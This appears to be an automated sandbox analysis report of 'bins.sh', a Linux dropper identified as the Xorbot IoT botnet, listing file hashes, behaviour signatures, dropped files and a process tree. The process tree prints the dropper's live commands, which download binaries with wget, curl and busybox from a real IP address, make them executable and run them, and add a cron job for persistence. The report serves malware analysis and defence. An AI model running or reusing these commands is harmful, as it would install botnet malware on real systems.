Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30-11-2024 03:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8dfb48b397d092bc48e8d3b7d32069a0

  • SHA1

    81021529c60b12e548c19e8b1d5484a7aa00534d

  • SHA256

    14fc537743033a5948506f87016c1e2c4ea8085e17827612c56c230062b20836

  • SHA512

    7bb13f38afc39d6cad3c95ef1508d10479725e481cf90441c8359903b451379777d2897601289cdbd1f7c1a33eb7be4dc3b3f8b3d4c78ad8cf9460a1fd687525

  • SSDEEP

    192:Da2B5xoc2IU0ORV74+WNtiSYQB5xocIlU0ORVC+W+:u2B5xoc2IU0ORV78tiSFB5xocIlU0OR3

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1811) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:665
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://216.126.231.240/bins/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          2⤵
          • Writes file to tmp directory
          PID:673
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:687
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          2⤵
          • Writes file to tmp directory
          PID:696
        • /bin/chmod
          chmod 777 oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          ./oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          2⤵
          • Executes dropped EXE
          PID:699
        • /bin/rm
          rm oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
          2⤵
            PID:702
          • /usr/bin/wget
            wget http://216.126.231.240/bins/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            2⤵
            • Writes file to tmp directory
            PID:703
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:704
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            2⤵
            • Writes file to tmp directory
            PID:705
          • /bin/chmod
            chmod 777 kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            2⤵
            • File and Directory Permissions Modification
            PID:709
          • /tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            ./kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            2⤵
            • Executes dropped EXE
            PID:711
          • /bin/rm
            rm kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
            2⤵
              PID:713
            • /usr/bin/wget
              wget http://216.126.231.240/bins/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              2⤵
              • Writes file to tmp directory
              PID:714
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:720
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              2⤵
              • Writes file to tmp directory
              PID:734
            • /bin/chmod
              chmod 777 9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              2⤵
              • File and Directory Permissions Modification
              PID:737
            • /tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              ./9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              2⤵
              • Executes dropped EXE
              PID:738
            • /bin/rm
              rm 9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
              2⤵
                PID:742
              • /usr/bin/wget
                wget http://216.126.231.240/bins/fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                2⤵
                • Writes file to tmp directory
                PID:744
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:750
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                2⤵
                • Writes file to tmp directory
                PID:763
              • /bin/chmod
                chmod 777 fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                2⤵
                • File and Directory Permissions Modification
                PID:765
              • /tmp/fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                ./fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:766
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:768
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:770
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:771
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:772
                    • /bin/rm
                      rm fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
                      2⤵
                        PID:774
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                        2⤵
                          PID:777
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                          2⤵
                            PID:778
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                            2⤵
                            • Writes file to tmp directory
                            PID:779
                          • /bin/chmod
                            chmod 777 o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                            2⤵
                            • File and Directory Permissions Modification
                            PID:874
                          • /tmp/o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                            ./o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                            2⤵
                            • Executes dropped EXE
                            PID:875
                          • /bin/rm
                            rm o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U
                            2⤵
                              PID:877
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/4qpSJeMvuP7BsV8EIeofZLHfDdzqDklB2d
                              2⤵
                                PID:878

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/o3YNnIS9BCXGRFtNQiOxn59JelpTXqSY1U

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /var/spool/cron/crontabs/tmp.LU9P0h

                              Filesize

                              210B

                              MD5

                              6b20e03ca10a27f2ee1940ae265a6890

                              SHA1

                              0630152e41c99a2e3ab239720512d32719e30ea8

                              SHA256

                              213f0554e70151ee0d9466722b7f6bc86414d5f2ad34c2114de34cb2758fe7c6

                              SHA512

                              9e96c3439a0b8ff1395d1ab6311f1480564796ab53a562529ef3ed6a5058fa7f443ae9171382b74947797f0d7819c4a31dca68e30ddbc9c08f24a92315788a90